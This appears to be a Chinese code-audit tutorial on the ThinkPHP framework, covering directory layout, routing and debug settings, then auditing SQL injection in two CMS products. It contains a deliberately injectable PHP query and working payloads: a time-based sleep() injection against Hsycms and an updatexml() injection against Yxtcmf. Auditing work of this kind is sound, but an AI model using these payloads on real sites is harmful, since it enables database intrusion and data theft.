TP框架SQL注入&安全写法&架构&路由

简介: TP框架SQL注入&安全写法&架构&路由

知识点

#知识点:
1、认识PHP开发框架TP
2、掌握TP文件目录含义   
3、掌握查找入口目录版本 
4、掌握路由URL对应文件块  
5、掌握配置代码调试开和关
6、掌握TP5代码书写安全规范

1、解释TP框架开发的源码审计要点

目录和文件
目录使用小写+下划线;
类库、函数文件统一以 .php 为后缀;
类的文件名均以命名空间定义,并且命名空间的路径和类库文件所在路径一致;
类文件采用驼峰法命名(首字母大写),其它文件采用小写+下划线命名;
类名和类文件名保持一致,统一采用驼峰法命名(首字母大写);
函数和类、属性命名
类的命名采用驼峰法(首字母大写),例如 User 、 UserType ,默认不需要添加后缀,例如
UserController 应该直接命名为 User ;
函数的命名使用小写字母和下划线(小写字母开头)的方式,例如 get_client_ip ;
方法的命名使用驼峰法(首字母小写),例如 getUserName ;
属性的命名使用驼峰法(首字母小写),例如 tableName 、 instance ;
以双下划线“__”打头的函数或方法作为魔术方法,例如 __call 和 __autoload ;
常量和配置
常量以大写字母和下划线命名,例如 APP_PATH 和 THINK_PATH ;
配置参数以小写字母和下划线命名,例如 url_route_on 和 url_convert ;
数据表和字段
数据表和字段采用小写加下划线方式命名,并注意字段名不要以下划线开头,例如 think_user 表和
user_name 字段,不建议使用驼峰和中文作为数据表字段命名。
应用类库命名空间规范
应用类库的根命名空间统一为app(不建议更改,可以设置 app_namespace 配置参数更改, V5.0.8 版本
开始使用 APP_NAMESPACE 常量定义);
例如:app\index\controller\Index 和 app\index\model\User

2、参考开发手册学习文件目录含义

3、参考开发手册学习寻找入口目录

入口文件定义
入口文件主要完成:
定义框架路径、项目路径(可选)
定义系统相关常量(可选)
载入框架入口文件(必须)
5.0默认的应用入口文件位于 public/index.php ,内容如下:
// 定义应用目录  则application目录下的文件为核心代码 
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

4、参考开发手册学习寻找URL对应文件

URL设计
ThinkPHP 5.0 在没有启用路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
支持切换到命令行访问,如果切换到命令行模式下面的访问规则是:
>php.exe index.php(或者其它应用入口文件) 模块/控制器/操作/[参数名/参数值...]
可以看到,无论是URL访问还是命令行访问,都采用 PATH_INFO 访问地址,其中 PATH_INFO 的分隔符是
可以设置的。
注意:5.0 取消了URL模式的概念,并且普通模式的URL访问不再支持,但参数可以支持普通方式传值,例
如:
>php.exe index.php(或者其它应用入口文件) 模块/控制器/操作?参数名=参数值&...
如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
必要的时候,我们可以通过某种方式,省略URL里面的模块和控制器。
URL大小写
默认情况下, URL 是不区分大小写的,也就是说 URL 里面的模块/控制器/操作名会自动转换为小写,控制
器在最后调用的时候会转换为驼峰法处理。
例如:
http://localhost/index.php/Index/Blog/read
// 和下面的访问是等效的
http://localhost/index.php/index/blog/read
如果访问下面的地址
http://localhost/index.php/Index/BlogTest/read
// 和下面的访问是等效的
http://localhost/index.php/index/blogtest/read
在这种URL不区分大小写情况下,如果要访问驼峰法的控制器类,则需要使用:
URL访问
本文档使用 看云 构建 - 30 -http://localhost/index.php/Index/blog_test/read
模块名和操作名会直接转换为小写处理。
如果希望 URL 访问严格区分大小写,可以在应用配置文件中设置:
// 关闭URL中控制器和操作名的自动转换
'url_convert' => false,
一旦关闭自动转换,URL地址中的控制器名就变成大小写敏感了,例如前面的访问地址就要写成:
http://localhost/index.php/Index/BlogTest/read
但是下面的URL访问依然是有效的:
http://localhost/index.php/Index/blog_test/read
下面的URL访问则无效:
http://localhost/index.php/Index/blogtest/read

5、参考开发手册学习如何开启调试模式

// 应用调试模式
    'app_debug'              => true,
    // 应用Trace
    'app_trace'              => true,

6、参考开发手册学习规矩写法和不安全写法。

参考手册-TP5开发手册PDF-为了掌握了解框架

首页文件看APP_PATH定义-为了后期分析核心代码

全局搜索:THINK_VERSION,-为了后期分析此版本是否存在漏洞

TP知识点-架构&入口&路由&调试&写法安全

url 对应文件

查看index入口文件 发现核心代码在 application 目录下

访问Idenx文件里test函数


url: 
http://127.0.0.1/tp5/public/index.php/index/index/test

访问xiaodi函数

url:
http://127.0.0.1/tp5/public/index.php/index/index/xiaodi?i=1


// Test.php
{
    //index.php/index/test/x
  public function x()
{
    echo 'x test';
  }
  public function testsqlin()
{  
    //自写数据库查询,存在注入
    $id=$_GET['x'];
    $conn=mysql_connect("127.0.0.1","root","root");
    $sql="select * from injection.users where id=$id";
    echo $sql;
    $result=mysql_query($sql,$conn);
  }
  public function testsqlin1()
{
    //table('users')->where('id',1)->select();
        //$id=input('?get.id');
        $id=input('id');
        db('users')->field('id')->where('id',$id)->select();
  }
  public function index()
{
        $username = request()->get('id/a');
        db('users')->insert(['id' => $username]);
        return 'Update success';
    }
}



url:
http://127.0.0.1/tp5/public/index.php/xiaodi/Index/test
http://127.0.0.1/tp5/public/index.php/xiaodi/Index/xiaodi

640.png

640.png

总体来说,就是url的每一个单词都对应后台每一个目录文件最后一个对应代码中的函数。

代码审计-案例1-Hsycms_Tp5框架注入

#代码审计-案例1-Hsycms_Tp5框架注入&逻辑(没有完整安全写法)
流程:入口-版本-调试-路由-特定漏洞特性写法搜索或版本漏洞触发关键字
1.注入input:and if(1<2,sleep(2),sleep(0)) and (1=1.html

第一步 打开index文件 查看入口   /app目录

第二步 查看版本 think_version

第三步 调试 app_debug

第四步 网站查看文件流程

开启sql监控,查看执行流程

分析代码  input 获取id参数,$one  = db('article')->where('id',$id) 等价于

select * from article where id = $id; 伪静态注入,在html前添加参数

 public function index()
{
    $id = input('id');
    // 添加调试
    echo $id;
    $one  = db('article')->where('id',$id)->find();      
    if(empty($one)){ exit("文章不存在");}    
    $navrow = db('nav')->where('id',$one['nid'])->find();    
    $data['showcate'] = $navrow['showcate'];    
    $data['entitle']  = $navrow['entitle'];
    $data['columnName'] = $navrow['title'];
    $data["banner"]   = isMobile() ? $navrow['img1'] : $navrow['img'];
    $data['id'] = $id;
    $view['views'] = $one['views']+1;
    db('article')->where('id',$id)->update($view);//浏览次数        
    //无分类
    if($data['showcate']==0){       
      $data["leftlist"] = db('article')->field('id,title')->where('nid',$one['nid'])->order("sort,id")->select();            

UPDATE `sy_article` SET `views`=49 WHERE `id` = '133 and 222=222'
SELECT `id`,`title` FROM `sy_article` WHERE ( id < 133 and 222=222 and nid=3 and cid=34 ) ORDER BY `id` DESC LIMIT 1

添加单引号闭合

640.png

640.png

仅执行了第一条sql语句 并且单引号转义了

尝试执行第二条  延迟五秒  存在延迟注入

代码审计-案例2-Yxtcmf_Tp3本身框架SQL注入

#代码审计-案例2-Yxtcmf_Tp3本身框架SQL注入(本身的框架漏洞)
流程:入口-版本-调试-路由-特定漏洞特性写法搜索或版本漏洞触发关键字
参考:https://y4er.com/post/thinkphp3-vuln/
password=123456&repassword=123456&tel[0]=exp&tel[1]=='111' and updatexml(1,concat(0x7e,user(),0x7e),1)#

640.png

结合版本 百度搜历史漏洞

640.png

搜索where关键字

yxtcmf\application\User\Controller\RegisterController.class.php

直接获取参数 任何过滤

    function repassword(){
        $users_model=M("Users");
        $mobile_verify=$_POST['mobileCode'];
        $password=$_POST['password'];
        $repassword=$_POST['repassword'];
        $mobile=$_POST['tel'];
        $where['mobile']=$mobile;
          if(strlen($password) < 5 || strlen($password) > 20){
          $result['code']='password';
          $result['success']=false;
          $result['message']="密码长度至少5位,最多20位!";
          }elseif($password !=$repassword){
          $result['code']='repassword';
          $result['success']=false;
          $result['message']="两次密码不一致!";
          }elseif($mobile_verify =$_SESSION['mobile_verify']){
          $result['code']='mobile_verify';
          $result['success']=false;
          $result['message']="手机验证码不正确!";
        }elseif(!$users_model->where($where)->find()){
          $result['code']='user';
          $result['success']=false;
          $result['message']="该手机号未注册!";


    相关文章
    |
    1月前
    |
    SQL Java 数据库
    建模底层逻辑问题之ORM框架建模中,执行SQL的过程中被抽象和组织是如何实现的
    建模底层逻辑问题之ORM框架建模中,执行SQL的过程中被抽象和组织是如何实现的
    |
    15天前
    |
    存储 Java Maven
    从零到微服务专家:用Micronaut框架轻松构建未来架构
    【9月更文挑战第5天】在现代软件开发中,微服务架构因提升应用的可伸缩性和灵活性而广受欢迎。Micronaut 是一个轻量级的 Java 框架,适合构建微服务。本文介绍如何从零开始使用 Micronaut 搭建微服务架构,包括设置开发环境、创建 Maven 项目并添加 Micronaut 依赖,编写主类启动应用,以及添加控制器处理 HTTP 请求。通过示例代码展示如何实现简单的 “Hello, World!” 功能,并介绍如何通过添加更多依赖来扩展应用功能,如数据访问、验证和安全性等。Micronaut 的强大和灵活性使你能够快速构建复杂的微服务系统。
    39 5
    |
    14天前
    |
    缓存 Java 应用服务中间件
    随着微服务架构的兴起,Spring Boot凭借其快速开发和易部署的特点,成为构建RESTful API的首选框架
    【9月更文挑战第6天】随着微服务架构的兴起,Spring Boot凭借其快速开发和易部署的特点,成为构建RESTful API的首选框架。Nginx作为高性能的HTTP反向代理服务器,常用于前端负载均衡,提升应用的可用性和响应速度。本文详细介绍如何通过合理配置实现Spring Boot与Nginx的高效协同工作,包括负载均衡策略、静态资源缓存、数据压缩传输及Spring Boot内部优化(如线程池配置、缓存策略等)。通过这些方法,开发者可以显著提升系统的整体性能,打造高性能、高可用的Web应用。
    43 2
    |
    18天前
    |
    设计模式 开发框架 前端开发
    在开发框架中实现事件驱动架构
    【9月更文挑战第2天】事件驱动架构(EDA)通过事件机制让组件间解耦交互,适用于动态扩展和高响应性的系统。本文提供一个基于Beego框架实现事件驱动的示例,通过事件管理器注册和触发事件,实现用户注册和登录时的不同处理逻辑,展示了其在Web应用中的灵活性和高效性。
    49 5
    |
    23天前
    |
    SQL 监控 安全
    SQL Server的安全注意事项
    将上述注意事项纳入日常的数据库管理中,有助于确保SQL Server数据库的安全稳定运行。除了遵循这些最佳实践外,定期进行安全审计也是确保环境持续安全的关键。
    22 7
    |
    23天前
    |
    XML 开发框架 .NET
    .NET框架:软件开发领域的瑞士军刀,如何让初学者变身代码艺术家——从基础架构到独特优势,一篇不可错过的深度解读。
    【8月更文挑战第28天】.NET框架是由微软推出的统一开发平台,支持多种编程语言,简化应用程序的开发与部署。其核心组件包括公共语言运行库(CLR)和类库(FCL)。CLR负责内存管理、线程管理和异常处理等任务,确保代码稳定运行;FCL则提供了丰富的类和接口,涵盖网络、数据访问、安全性等多个领域,提高开发效率。此外,.NET框架还支持跨语言互操作,允许开发者使用C#、VB.NET等语言编写代码并无缝集成。这一框架凭借其强大的功能和广泛的社区支持,已成为软件开发领域的重要工具,适合初学者深入学习以奠定职业生涯基础。
    80 1
    |
    28天前
    |
    存储 监控 安全
    大数据架构设计原则:构建高效、可扩展与安全的数据生态系统
    【8月更文挑战第23天】大数据架构设计是一个复杂而系统的工程,需要综合考虑业务需求、技术选型、安全合规等多个方面。遵循上述设计原则,可以帮助企业构建出既高效又安全的大数据生态系统,为业务创新和决策支持提供强有力的支撑。随着技术的不断发展和业务需求的不断变化,持续优化和调整大数据架构也将成为一项持续的工作。
    |
    28天前
    |
    Kubernetes 安全 微服务
    使用 Istio 缓解电信 5G IoT 微服务 Pod 架构的安全挑战
    在5G电信领域,Kubernetes集群中部署微服务至关重要,但也带来了重大的安全挑战。Istio作为一个强大的开源服务网格,能有效地管理这些微服务间的通信,通过其控制平面自动将Sidecar代理注入到各微服务Pod中,确保了安全且高效的通信。Istio的架构由数据平面和控制平面组成,其中Sidecar代理作为Envoy代理运行在每个Pod中,拦截并管理网络流量。此外,Istio支持多种Kubernetes发行版和服务,如EKS等,不仅增强了安全性,还提高了应用性能和可观测性。
    59 0
    使用 Istio 缓解电信 5G IoT 微服务 Pod 架构的安全挑战
    |
    20天前
    |
    消息中间件 Kafka Java
    Spring 框架与 Kafka 联姻,竟引发软件世界的革命风暴!事件驱动架构震撼登场!
    【8月更文挑战第31天】《Spring 框架与 Kafka 集成:实现事件驱动架构》介绍如何利用 Spring 框架的强大功能与 Kafka 分布式流平台结合,构建灵活且可扩展的事件驱动系统。通过添加 Spring Kafka 依赖并配置 Kafka 连接信息,可以轻松实现消息的生产和消费。文中详细展示了如何设置 `KafkaTemplate`、`ProducerFactory` 和 `ConsumerFactory`,并通过示例代码说明了生产者发送消息及消费者接收消息的具体实现。这一组合为构建高效可靠的分布式应用程序提供了有力支持。
    54 0
    |
    1月前
    |
    存储 监控 安全